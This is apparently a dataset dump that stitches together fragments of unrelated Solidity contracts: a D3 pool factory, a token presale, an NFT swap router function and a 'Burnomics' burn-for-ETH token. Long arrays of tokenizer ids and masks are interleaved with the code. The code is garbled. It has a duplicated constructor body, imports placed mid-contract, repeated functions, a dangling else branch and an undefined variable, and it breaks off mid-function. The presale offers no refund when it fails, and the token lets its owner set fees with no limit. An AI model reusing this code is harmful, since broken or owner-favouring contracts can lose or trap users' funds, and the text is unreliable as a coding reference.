address public _FEE_RATE_MODEL_;
address public _MAINTAINER_;
event D3Birth(address newD3, address creator);
event AddRouter(address router);
event RemoveRouter(address router);
constructor(
address owner,
address[] memory d3Temps,
address[] memory d3MakerTemps,
address cloneFactory,
address d3VaultAddress,
address oracleAddress,
address feeRateModel,
address maintainer
pragma solidity 0.8.16;
import {ID3MM} from "../intf/ID3MM.sol";
import {ID3Maker} from "../intf/ID3Maker.sol";
import {ID3Vault} from "../intf/ID3Vault.sol";
import {InitializableOwnable} from "../lib/InitializableOwnable.sol";
import {ICloneFactory} from "../lib/CloneFactory.sol";
) {
require(d3MakerTemps.length == d3Temps.length, "temps not match");
for (uint256 i = 0; i < d3Temps.length; i++) {
_D3POOL_TEMPS[i] = d3Temps[i];
_D3MAKER_TEMPS_[i] = d3MakerTemps[i];
}
_CLONE_FACTORY_ = cloneFactory;
_ORACLE_ = oracleAddress;
d3Vault = ID3Vault(d3VaultAddress);
_FEE_RATE_MODEL_ = feeRateModel;
_MAINTAINER_ = maintainer;
initOwner(owner);
}
) {
require(d3MakerTemps.length == d3Temps.length, "temps not match");
for (uint256 i = 0; i < d3Temps.length; i++) {
_D3POOL_TEMPS[i] = d3Temps[i];
_D3MAKER_TEMPS_[i] = d3MakerTemps[i];
}
_CLONE_FACTORY_ = cloneFactory;
_ORACLE_ = oracleAddress;
d3Vault = ID3Vault(d3VaultAddress);
_FEE_RATE_MODEL_ = feeRateModel;
_MAINTAINER_ = maintainer;
initOwner(owner);
}
function setD3Temp(uint256 poolType, address newTemp) public onlyOwner {
_D3POOL_TEMPS[poolType] = newTemp;
}
function setD3MakerTemp(uint256 poolType, address newMakerTemp) public onlyOwner {
_D3MAKER_TEMPS_[poolType] = newMakerTemp;
}
function setCloneFactory(address cloneFactory) external onlyOwner {
_CLONE_FACTORY_ = cloneFactory;
}
function setOracle(address oracle) external onlyOwner {
_ORACLE_ = oracle;
}
function setMaintainer(address maintainer) external onlyOwner {
_MAINTAINER_ = maintainer;
}
function setFeeRate(address feeRateModel) external onlyOwner {
_FEE_RATE_MODEL_ = feeRateModel;
}
function breedD3Pool(
address poolCreator,
address maker,
uint256 maxInterval,
uint256 poolType
) external onlyOwner returns (address newPool) {
address newMaker = ICloneFactory(_CLONE_FACTORY_).clone(_D3MAKER_TEMPS_[poolType]);
newPool = ICloneFactory(_CLONE_FACTORY_).clone(_D3POOL_TEMPS[poolType]);
ID3MM(newPool).init(
poolCreator,
newMaker,
address(d3Vault),
_ORACLE_,
_FEE_RATE_MODEL_,
_MAINTAINER_
);
ID3Maker(newMaker).init(maker, newPool, maxInterval);
d3Vault.addD3PoolByFactory(newPool);
emit D3Birth(newPool, poolCreator);
return newPool;
}
}
| 4,285,531 | [
1,
40,
23,
8206,
1733,
225,
463,
2311,
605,
15656,
264,
225,
1220,
3272,
6835,
353,
1399,
358,
752,
19,
4861,
463,
23,
8206,
16000,
18,
19,
3775,
770,
4696,
3775,
268,
3501,
994,
16,
374,
353,
364,
2212,
302,
23,
2845,
18,
422,
1432,
631,
9043,
422,
1432,
631,
422,
1432,
631,
11417,
4284,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
463,
23,
8206,
1733,
353,
10188,
6934,
5460,
429,
288,
203,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
1071,
389,
40,
23,
20339,
67,
10258,
55,
31,
203,
565,
2874,
12,
11890,
5034,
516,
1758,
13,
1071,
389,
40,
23,
5535,
27221,
67,
10258,
55,
67,
31,
203,
565,
1758,
1071,
389,
5017,
5998,
67,
16193,
67,
31,
203,
565,
1758,
1071,
389,
916,
2226,
900,
67,
31,
203,
565,
1599,
23,
12003,
1071,
302,
23,
12003,
31,
203,
565,
1758,
1071,
389,
8090,
41,
67,
24062,
67,
17391,
67,
31,
203,
565,
1758,
1071,
389,
5535,
3217,
16843,
67,
31,
203,
203,
203,
565,
871,
463,
23,
25791,
12,
2867,
394,
40,
23,
16,
1758,
11784,
1769,
203,
565,
871,
1436,
8259,
12,
2867,
4633,
1769,
203,
565,
871,
3581,
8259,
12,
2867,
4633,
1769,
203,
203,
203,
565,
3885,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
1758,
8526,
3778,
302,
23,
1837,
1121,
16,
203,
3639,
1758,
8526,
3778,
302,
23,
12373,
1837,
1121,
16,
203,
3639,
1758,
3236,
1733,
16,
203,
3639,
1758,
302,
23,
12003,
1887,
16,
203,
3639,
1758,
20865,
1887,
16,
203,
3639,
1758,
14036,
4727,
1488,
16,
203,
3639,
1758,
11566,
1521,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
2313,
31,
203,
5666,
288,
734,
23,
8206,
97,
628,
315,
6216,
17655,
19,
734,
23,
8206,
18,
18281,
14432,
203,
5666,
288,
734,
23,
12373,
97,
628,
315,
6216,
17655,
19,
734,
23,
12373,
18,
18281,
14432,
203,
5666,
288,
734,
23,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-23
*/
pragma solidity ^0.6.6;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
/**
* @dev Mod two numbers.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
}
/**
* @title Presale
* @dev Presale distribution of tokens
*/
contract Presale {
using SafeERC20 for IERC20;
using SafeMath for uint256;
IERC20 private token;
address private _owner;
// Amount raised in presale
uint256 public amountRaisedPresale;
address payable private wallet;
mapping (address => uint256) private presaleInvestors;
uint256 public presaleStartDate;
uint256 public presaleEndDate;
uint256 public minContribution;
uint256 public minCap;
uint256 public maxCap;
uint public rate=20000000000000;
//Tokens for presale
uint256 public presaleToken=50000000000000000000000000;
//Tokens distributed in presale
uint256 public tokenSoldInPresale;
// Events
event TokenPurchase(address _beneficiary,uint256 amount,uint256 tokens);
/**
* @dev constructor
* @param contractAddress Main token contractAddress
* @param _targetWallet Address where ether will be transferred
* @param _minContribution Minimum contribution in Presale
* @param _minCap Minimum cap to make presale successfull
* @param _maxCap Maximum cap of presale
* @param _endDate Presale end date
*/
constructor(address contractAddress,address payable _targetWallet,uint256 _minContribution,uint256 _minCap,uint256 _maxCap,uint256 _endDate) public {
require(_targetWallet != address(0) ,"Address zero");
require(_minCap >0 && _maxCap>_minCap,"Value must be greater");
token=IERC20(contractAddress);
_owner=msg.sender;
wallet=_targetWallet;
presaleEndDate = block.timestamp+(60*60*24*_endDate);
presaleStartDate = block.timestamp;
minContribution = _minContribution;
minCap = _minCap;
maxCap = _maxCap;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner(){
require(_owner==msg.sender,"Only owner");
_;
}
modifier onlyBeforeEnd() {
require(block.timestamp>=presaleStartDate && block.timestamp <= presaleEndDate,"Closed");
_;
}
modifier onlyMoreThanMinContribution() {
require(msg.value >= minContribution,"Amount less than the minimum contribution");
_;
}
modifier onlyMaxCapNotReached() {
require(amountRaisedPresale <= maxCap,"Max cap reached");
_;
}
/**
* @dev Receive function to receive funds
*/
receive() external payable {
buyTokens(msg.sender);
}
/**
* @dev Buy tokens .
* @param _beneficiary Address that will fund the smart contract and trafer the tokens
*/
function buyTokens(address payable _beneficiary) public onlyBeforeEnd onlyMoreThanMinContribution onlyMaxCapNotReached payable {
require(_beneficiary != address(0));
uint256 amount=msg.value;
require(amount>0,"Amount must be greater than 0");
uint bonus=1;
if(amount>=1000000000000000000)
{
bonus=2;
}
uint256 tokens= _getTokens(amount);
amountRaisedPresale=amountRaisedPresale.add(amount);
tokens=tokens.mul(bonus)*1000000000000000000;
token.transfer(_beneficiary,tokens);
tokenSoldInPresale=tokenSoldInPresale.add(tokens);
uint256 amountDeposited= presaleInvestors[_beneficiary];
presaleInvestors[_beneficiary]=amountDeposited.add(amount);
wallet.transfer(amount);
emit TokenPurchase(_beneficiary,amount,tokens);
}
/**
* @dev Admin can close the presale
*/
function closePresale() public onlyOwner{
presaleEndDate=block.timestamp;
}
/**
* @dev Calculate number of tokens
*/
function _getTokens(uint256 _amount) internal view returns (uint256 tokens)
{
uint256 capacityLeft = presaleToken.sub(tokenSoldInPresale);
tokens = _amount.div(rate);
require(capacityLeft >=tokens,"Insufficient tokens");
return tokens;
}
// Check Presale is Closed
function checkPresaleClosed() public view returns(bool) {
return (block.timestamp>=presaleEndDate);
}
//check presale failed
function checkPresaleFailed() public view returns(bool) {
return block.timestamp >= presaleEndDate && amountRaisedPresale < minCap;
}
} | * @dev Admin can close the presale/ | function closePresale() public onlyOwner{
presaleEndDate=block.timestamp;
}
| 2,387,413 | [
1,
4446,
848,
1746,
326,
4075,
5349,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
445,
1746,
12236,
5349,
1435,
1071,
1338,
5541,
95,
203,
5411,
4075,
5349,
24640,
33,
2629,
18,
5508,
31,
203,
3639,
289,
203,
3639,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x66d97FD4DefEcD79904B3D3587dC4f8ed66Cf4Ab/sources/src/LSSVMRouter.sol | * @notice Swaps ERC20 tokens into specific NFTs using multiple pairs. @param swapList The list of pairs to trade with and the IDs of the NFTs to buy from each. @param inputAmount The amount of ERC20 tokens to add to the ERC20-to-NFT swaps @param nftRecipient The address that will receive the NFT output @param deadline The Unix timestamp (in seconds) at/after which the swap will revert @return remainingValue The unspent token amount/ | function swapERC20ForSpecificNFTs(
PairSwapSpecific[] calldata swapList,
uint256 inputAmount,
address nftRecipient,
uint256 deadline
) external checkDeadline(deadline) returns (uint256 remainingValue) {
return _swapERC20ForSpecificNFTs(swapList, inputAmount, nftRecipient);
}
| 8,297,829 | [
1,
6050,
6679,
4232,
39,
3462,
2430,
1368,
2923,
423,
4464,
87,
1450,
3229,
5574,
18,
225,
7720,
682,
1021,
666,
434,
5574,
358,
18542,
598,
471,
326,
7115,
434,
326,
423,
4464,
87,
358,
30143,
628,
1517,
18,
225,
810,
6275,
1021,
3844,
434,
4232,
39,
3462,
2430,
358,
527,
358,
326,
4232,
39,
3462,
17,
869,
17,
50,
4464,
1352,
6679,
225,
290,
1222,
18241,
1021,
1758,
716,
903,
6798,
326,
423,
4464,
876,
225,
14096,
1021,
9480,
2858,
261,
267,
3974,
13,
622,
19,
5205,
1492,
326,
7720,
903,
15226,
327,
4463,
620,
1021,
640,
20693,
1147,
3844,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7720,
654,
39,
3462,
1290,
9969,
50,
4464,
87,
12,
203,
3639,
8599,
12521,
9969,
8526,
745,
892,
7720,
682,
16,
203,
3639,
2254,
5034,
810,
6275,
16,
203,
3639,
1758,
290,
1222,
18241,
16,
203,
3639,
2254,
5034,
14096,
203,
565,
262,
3903,
866,
15839,
12,
22097,
1369,
13,
1135,
261,
11890,
5034,
4463,
620,
13,
288,
203,
3639,
327,
389,
22270,
654,
39,
3462,
1290,
9969,
50,
4464,
87,
12,
22270,
682,
16,
810,
6275,
16,
290,
1222,
18241,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xBEEb150672c6d4CcD736577a773dB8877644C9F0/sources/Burnomics.sol | Burn Stats Fees / MaxWallet / TxLimit exemption mappings Supply / Max Tx tokenomics Swap and liquify flags (for taxes) events & modifiers | contract Burnomics is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
uint256 public totalBurned = 0;
uint256 public totalBurnRewards = 0;
string private _name = "Burnomics";
string private _symbol = "BURN";
uint8 private _decimals = 18;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address payable private devMarketingWallet;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public _buyLiquidityFees = 10;
uint256 public _buyDevFees = 5;
uint256 public _buyBurnFees = 10;
uint256 public _sellLiquidityFees = 10;
uint256 public _sellDevFees = 5;
uint256 public _sellBurnFees = 10;
uint256 public _liquidityShares = 1;
uint256 public _devShares = 2;
uint256 public _burnShares = 2;
uint256 public _totalTaxIfBuying = 25;
uint256 public _totalTaxIfSelling = 25;
uint256 public _totalDistributionShares = 5;
mapping (address => bool) public checkExcludedFromFees;
mapping (address => bool) public checkWalletLimitExcept;
mapping (address => bool) public checkTxLimitExcept;
mapping (address => bool) public checkMarketPair;
uint256 private _totalSupply = 100 * 10**6 * 10**18;
uint256 public _maxTxAmount = 1 * 10**6 * 10**18;
uint256 public _walletMax = 2 * 10**6 * 10**18;
uint256 private minimumTokensBeforeSwap = 2 * 10**5 * 10**18;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
bool public enableTrading;
event BurnedTokensForEth (
address account,
uint256 burnAmount,
uint256 ethRecievedAmount
);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
devMarketingWallet = payable(msg.sender);
uniswapV2Router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _totalSupply);
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
checkExcludedFromFees[owner()] = true;
checkExcludedFromFees[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFees.add(_buyDevFees).add(_buyBurnFees);
_totalTaxIfSelling = _sellLiquidityFees.add(_sellDevFees).add(_sellBurnFees);
_totalDistributionShares = _liquidityShares.add(_devShares).add(_burnShares);
checkWalletLimitExcept[owner()] = true;
checkWalletLimitExcept[address(uniswapPair)] = true;
checkWalletLimitExcept[address(this)] = true;
checkTxLimitExcept[owner()] = true;
checkTxLimitExcept[address(this)] = true;
checkMarketPair[address(uniswapPair)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addMarketPair(address account) public onlyOwner {
checkMarketPair[account] = true;
}
function setcheckTxLimitExcept(address holder, bool exempt) external onlyOwner {
checkTxLimitExcept[holder] = exempt;
}
function setcheckExcludedFromFees(address account, bool newValue) public onlyOwner {
checkExcludedFromFees[account] = newValue;
}
function setBuyFee(uint256 newLiquidityTax, uint256 newDevTax, uint256 newBurnTax) external onlyOwner() {
_buyLiquidityFees = newLiquidityTax;
_buyDevFees = newDevTax;
_buyBurnFees = newBurnTax;
_totalTaxIfBuying = _buyLiquidityFees.add(_buyDevFees).add(_buyBurnFees);
}
function setSellFee(uint256 newLiquidityTax, uint256 newDevTax, uint256 newBurnTax) external onlyOwner() {
_sellLiquidityFees = newLiquidityTax;
_sellDevFees = newDevTax;
_sellBurnFees = newBurnTax;
_totalTaxIfSelling = _sellLiquidityFees.add(_sellDevFees).add(_sellBurnFees);
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newDevShare, uint256 newBurnShare) external onlyOwner() {
_liquidityShares = newLiquidityShare;
_devShares = newDevShare;
_burnShares = newBurnShare;
_totalDistributionShares = _liquidityShares.add(_devShares).add(_burnShares);
}
function adjustMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount <= (100 * 10**6 * 10**18), "Max wallet should be less");
_maxTxAmount = maxTxAmount;
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function setcheckWalletLimitExcept(address holder, bool exempt) external onlyOwner {
checkWalletLimitExcept[holder] = exempt;
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
minimumTokensBeforeSwap = newLimit;
}
function setDevMarketingWallet(address newAddress) external onlyOwner() {
devMarketingWallet = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function openTrading() external onlyOwner(){
require(!enableTrading, "trading opened");
addLiquidity(balanceOf(address(this)), address(this).balance);
enableTrading = true;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
receive() external payable {}
function burnForEth(uint256 amount) public returns (bool) {
require(balanceOf(_msgSender()) >= amount, "not enough funds to burn");
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint[] memory a = uniswapV2Router.getAmountsOut(amount, path);
uint256 cap;
if (address(this).balance <= 1 ether) {
cap = burnSub1EthCap;
cap = address(this).balance / burnCapDivisor;
}
require(a[a.length - 1] <= cap, "amount greater than cap");
require(address(this).balance >= a[a.length - 1], "not enough funds in contract");
transferToAddressETH(_msgSender(), a[a.length - 1]);
_burn(_msgSender(), amount);
totalBurnRewards += a[a.length - 1];
totalBurned += amount;
emit BurnedTokensForEth(_msgSender(), amount, a[a.length - 1]);
return true;
}
function burnForEth(uint256 amount) public returns (bool) {
require(balanceOf(_msgSender()) >= amount, "not enough funds to burn");
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint[] memory a = uniswapV2Router.getAmountsOut(amount, path);
uint256 cap;
if (address(this).balance <= 1 ether) {
cap = burnSub1EthCap;
cap = address(this).balance / burnCapDivisor;
}
require(a[a.length - 1] <= cap, "amount greater than cap");
require(address(this).balance >= a[a.length - 1], "not enough funds in contract");
transferToAddressETH(_msgSender(), a[a.length - 1]);
_burn(_msgSender(), amount);
totalBurnRewards += a[a.length - 1];
totalBurned += amount;
emit BurnedTokensForEth(_msgSender(), amount, a[a.length - 1]);
return true;
}
} else {
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
_basicTransfer(sender, recipient, amount);
}
else
{
if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
